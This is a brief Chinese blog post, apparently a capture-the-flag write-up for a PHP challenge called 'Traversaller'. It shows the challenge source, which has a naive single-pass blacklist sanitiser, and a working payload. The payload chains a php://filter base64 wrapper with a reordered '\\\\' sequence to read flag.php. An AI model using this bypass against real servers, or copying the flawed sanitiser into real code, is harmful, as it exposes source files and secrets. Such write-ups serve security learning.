/只记录一道没遇见过的题/
traversaller
源码：
<?php ini_set("error_reporting", 0); if(isset($_GET['source'])) { highlight_file(__FILE__); } include "/var/www/html/flag.php"; function sanitize_path($p) { return str_replace(array("\0","\r","\n","\t","\x0B",'..','./','.\\','//','\\\\',),'',trim($p, "\x00..\x1F")); } $path = $_GET['path']; if(isset($path) && str_contains($path, "/var/www/html/static/")) { die(file_get_contents(sanitize_path($path))); } ?> <html> <head> <title>Traversaller</title> </head> <body> <h1>Traversaller</h1> <p>To view the source code, <a href="/?source">click here.</a> <script src="/?path=/var/www/html/static/flag.js"></script> </body> </html>
简而言之，传入一个path参数，如果包含array("\0","\r","\n","\t","\x0B",'..','./','.\\','//','\\\\',)这些会被删除，但是只会删除一次
并且需要包含/var/www/html/static/字段
最终需要利用die(file_get_contents(sanitize_path($path)));进行文件包含
用伪协议php://filter/
注意黑名单数组顺序，用/\\\\/即可绕过出//
最终payload
path=php:/\\\\/filter/read=/var/www/html/static/convert.base64-encode/resource=/var/www/html/flag.php
删除是按照数组顺序来的
所以//前面的都无法用来绕过，只有\\\\可以
Comments NOTHING